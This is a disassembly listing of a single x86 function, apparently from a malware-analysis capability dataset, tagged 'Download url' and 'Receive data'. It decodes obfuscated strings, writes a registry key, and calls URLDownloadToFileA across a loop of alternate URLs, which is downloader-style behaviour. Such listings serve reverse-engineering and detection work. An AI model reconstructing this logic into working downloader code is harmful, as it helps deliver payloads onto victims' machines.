Function at 0x45359c
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x16
push 0
push 0
dec ecx
jne 0x4535a4
push ecx
push ebx
push esi
mov eax, 0x4533c4
call fcn.00406318
mov esi, 0x456c30
xor eax, eax
push ebp
push 0x453cea
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x14]
mov edx, 0x1fca055
mov eax, 0x453d00
call fcn.00452c64
mov edx, dword [ebp - 0x14]
mov eax, 0x456c1c
call fcn.00404558
mov eax, 0x456bfc
mov edx, 0x453d14
call fcn.00404558
mov eax, 0x456c10
mov edx, 0x453d28
call fcn.00404558
mov eax, 0x456c18
mov edx, 0x453d14
call fcn.00404558
mov eax, 0x456c14
mov edx, 0x453d40
call fcn.00404558
mov eax, 0x456c04
call fcn.00404504
push 0x453d68
push dword [0x456bfc]
push dword [0x456c10]
mov eax, 0x456bf8
mov edx, 3
call fcn.00404884
lea edx, [ebp - 0x20]
mov eax, dword [0x455020]
mov eax, dword [eax]
call fcn.00451d5c
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x1c]
call fcn.0040898c
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.004080ac
mov edx, dword [ebp - 0x18]
mov eax, 0x456c28
call fcn.00404558
lea ecx, [ebp - 0x24]
mov edx, 0x1fca055
mov eax, 0x453d78
call fcn.00452c64
mov edx, dword [ebp - 0x24]
mov eax, dword [0x456c28]
call fcn.00404910
je 0x4537ee
lea ecx, [ebp - 0x28]
mov edx, 0x1fca055
mov eax, 0x453d8c
call fcn.00452c64
mov eax, dword [ebp - 0x28]
call fcn.004088f4
lea ecx, [ebp - 0x2c]
mov edx, 0x1fca055
mov eax, 0x453d8c
call fcn.00452c64
mov eax, dword [ebp - 0x2c]
call fcn.004088e4
test al, al
jne 0x4537ee
lea edx, [ebp - 0x30]
mov eax, dword [0x455020]
mov eax, dword [eax]
call fcn.00451d5c
mov edx, dword [ebp - 0x30]
mov eax, 0x456c0c
call fcn.00404558
push 0
lea ecx, [ebp - 0x34]
mov edx, 0x1fca055
mov eax, 0x453d8c
call fcn.00452c64
mov eax, dword [ebp - 0x34]
call fcn.004049c4
push eax
mov eax, dword [0x456c0c]
call fcn.004049c4
push eax
call sub.user32.dll_GetParent
mov ecx, 0x453db8
mov dl, 1
mov eax, dword [0x41aef4]
call fcn.0041b414
mov ebx, eax
mov edx, 0x80000001
mov eax, ebx
call fcn.0041b080
lea ecx, [ebp - 0x38]
mov edx, 0x14
mov eax, 0x453dc8
call fcn.00452c64
mov edx, dword [ebp - 0x38]
xor ecx, ecx
mov eax, ebx
call fcn.0041b1c4
lea ecx, [ebp - 0x3c]
mov edx, 0x1fca055
mov eax, 0x453d8c
call fcn.00452c64
mov eax, dword [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x40]
mov edx, 0x14
mov eax, 0x453dfc
call fcn.00452c64
mov eax, dword [ebp - 0x40]
push eax
lea ecx, [ebp - 0x44]
mov edx, 0x14
mov eax, 0x453e0c
call fcn.00452c64
mov edx, dword [ebp - 0x44]
mov eax, ebx
pop ecx
call fcn.0041b4a8
lea ecx, [ebp - 0x48]
mov edx, 0x14
mov eax, 0x453e18
call fcn.00452c64
mov eax, dword [ebp - 0x48]
call fcn.004282c8
push 5
lea ecx, [ebp - 0x4c]
mov edx, 0x1fca055
mov eax, 0x453d8c
call fcn.00452c64
mov eax, dword [ebp - 0x4c]
call fcn.004049c4
push eax
call sub.user32.dll_SetMenu
lea ecx, [ebp - 0x50]
mov edx, 0x1fca055
mov eax, 0x453d78
call fcn.00452c64
mov edx, dword [ebp - 0x50]
mov eax, dword [0x456c28]
call fcn.00404910
jne 0x453ccc
push 0xfe
push 0x456dfc
call sub.user32.dll_LoadCursorA
lea edx, [ebp - 0x54]
mov eax, 0x456dfc
call fcn.00408ca8
mov edx, dword [ebp - 0x54]
mov eax, 0x456c00
call fcn.00404558
lea ecx, [ebp - 0x5c]
mov edx, 0x1fca055
mov eax, 0x453e60
call fcn.00452c64
mov ecx, dword [ebp - 0x5c]
lea eax, [ebp - 0x58]
mov edx, dword [0x456c00]
call fcn.00404810
mov eax, dword [ebp - 0x58]
call fcn.004088f4
mov ebx, 1
push 0x453d68
push dword [0x456c18]
push dword [0x456c14]
mov eax, 0x456bf8
mov edx, 3
call fcn.00404884
cmp ebx, 2
jne 0x4538b1
push 0x453e70
push dword [0x456c18]
push dword [0x456c14]
mov eax, 0x456bf8
mov edx, 3
call fcn.00404884
cmp ebx, 3
jne 0x4538d6
push 0x453e84
push dword [0x456c18]
push dword [0x456c14]
mov eax, 0x456bf8
mov edx, 3
call fcn.00404884
cmp ebx, 4
jne 0x4538fb
push 0x453e98
push dword [0x456c18]
push dword [0x456c14]
mov eax, 0x456bf8
mov edx, 3
call fcn.00404884
cmp ebx, 5
jne 0x453920
push 0x453eb0
push dword [0x456c18]
push dword [0x456c14]
mov eax, 0x456bf8
mov edx, 3
call fcn.00404884
cmp ebx, 6
jne 0x453945
push 0x453ec8
push dword [0x456c18]
push dword [0x456c14]
mov eax, 0x456bf8
mov edx, 3
call fcn.00404884
cmp ebx, 7
jne 0x45396a
push 0x453edc
push dword [0x456c18]
push dword [0x456c14]
mov eax, 0x456bf8
mov edx, 3
call fcn.00404884
cmp ebx, 8
jne 0x45398f
push 0x453ef0
push dword [0x456c18]
push dword [0x456c14]
mov eax, 0x456bf8
mov edx, 3
call fcn.00404884
cmp ebx, 9
jne 0x4539b4
push 0x453f04
push dword [0x456c18]
push dword [0x456c14]
mov eax, 0x456bf8
mov edx, 3
call fcn.00404884
cmp ebx, 0xa
jne 0x4539d9
push 0x453f18
push dword [0x456c18]
push dword [0x456c14]
mov eax, 0x456bf8
mov edx, 3
call fcn.00404884
lea ecx, [ebp - 0x60]
mov edx, 0x1fca055
mov eax, dword [0x456bf8]
call fcn.00452c64
mov edx, dword [ebp - 0x60]
mov eax, 0x456c04
call fcn.00404558
mov eax, 0x456c08
mov edx, dword [0x456c04]
call fcn.00404558
push 0
push 0
lea ecx, [ebp - 0x68]
mov edx, 0x1fca055
mov eax, 0x453e60
call fcn.00452c64
mov ecx, dword [ebp - 0x68]
lea eax, [ebp - 0x64]
mov edx, dword [0x456c00]
call fcn.00404810
mov eax, dword [ebp - 0x64]
call fcn.004049c4
push eax
mov eax, dword [0x456c08]
call fcn.004049c4
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
lea ecx, [ebp - 0x74]
mov edx, 0x1fca055
mov eax, 0x453e60
call fcn.00452c64
mov ecx, dword [ebp - 0x74]
lea eax, [ebp - 0x70]
mov edx, dword [0x456c00]
call fcn.00404810
mov eax, dword [ebp - 0x70]
call fcn.004049c4
mov edx, eax
lea eax, [ebp - 0x6c]
call fcn.004046fc
mov eax, dword [ebp - 0x6c]
call fcn.004088e4
test al, al
je 0x453bc8
lea ecx, [ebp - 0x7c]
mov edx, 0x1fca055
mov eax, 0x453e60
call fcn.00452c64
mov ecx, dword [ebp - 0x7c]
lea eax, [ebp - 0x78]
mov edx, dword [0x456c00]
call fcn.00404810
mov edx, dword [ebp - 0x78]
mov eax, esi
call fcn.00402da4
mov eax, esi
call fcn.00402b40
call fcn.00402864
xor ebx, ebx
jmp 0x453b09
mov edx, 0x456c2c
mov eax, esi
call fcn.00403154
mov eax, esi
call fcn.004031c0
call fcn.00402864
inc ebx
cmp ebx, 6
jne 0x453b09
lea ecx, [ebp - 0x80]
mov edx, 0xa
mov eax, dword [0x456c2c]
call fcn.00452c64
mov edx, dword [ebp - 0x80]
mov eax, 0x456c24
call fcn.00404558
mov eax, esi
call fcn.00402fc8
call fcn.00402864
test al, al
je 0x453acc
mov eax, 0x456c20
mov edx, dword [0x456c24]
call fcn.00404558
lea eax, [ebp - 0x88]
mov ecx, dword [0x456c1c]
mov edx, dword [0x456c00]
call fcn.00404810
mov eax, dword [ebp - 0x88]
call fcn.004049c4
mov edx, eax
lea eax, [ebp - 0x84]
call fcn.004046fc
mov eax, dword [ebp - 0x84]
call fcn.004088e4
test al, al
je 0x453bb7
lea eax, [ebp - 0x94]
mov ecx, dword [0x456c1c]
mov edx, dword [0x456c00]
call fcn.00404810
mov eax, dword [ebp - 0x94]
call fcn.004049c4
mov edx, eax
lea eax, [ebp - 0x90]
call fcn.004046fc
mov eax, dword [ebp - 0x90]
lea edx, [ebp - 0x8c]
call fcn.00453108
mov edx, dword [ebp - 0x8c]
mov eax, 0x456c20
call fcn.00404558
mov eax, esi
call fcn.00402e60
call fcn.00402864
mov ebx, 9
inc ebx
cmp ebx, 0xa
jl 0x45386c
mov eax, dword [0x456c20]
mov edx, dword [0x456c24]
call fcn.00404910
jne 0x453c7f
lea eax, [ebp - 0x9c]
mov ecx, dword [0x456c1c]
mov edx, dword [0x456c00]
call fcn.00404810
mov eax, dword [ebp - 0x9c]
call fcn.004049c4
mov edx, eax
lea eax, [ebp - 0x98]
call fcn.004046fc
mov eax, dword [ebp - 0x98]
call fcn.004088e4
test al, al
je 0x453c52
push 5
lea eax, [ebp - 0xa0]
mov ecx, dword [0x456c1c]
mov edx, dword [0x456c00]
call fcn.00404810
mov eax, dword [ebp - 0xa0]
call fcn.004049c4
push eax
call sub.user32.dll_SetMenu
jmp 0x453ccc
lea ecx, [ebp - 0xa8]
mov edx, 0x1fca055
mov eax, 0x453d00
call fcn.00452c64
mov edx, dword [ebp - 0xa8]
lea ecx, [ebp - 0xa4]
mov eax, 0x453f2c
call fcn.00452d10
jmp 0x453ccc
lea eax, [ebp - 0xac]
mov ecx, dword [0x456c1c]
mov edx, dword [0x456c00]
call fcn.00404810
mov eax, dword [ebp - 0xac]
call fcn.004088f4
lea ecx, [ebp - 0xb4]
mov edx, 0x1fca055
mov eax, 0x453d00
call fcn.00452c64
mov edx, dword [ebp - 0xb4]
lea ecx, [ebp - 0xb0]
mov eax, 0x453f44
call fcn.00452d10
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453cf1
lea eax, [ebp - 0xb4]
mov edx, 0x29
call fcn.00404528
ret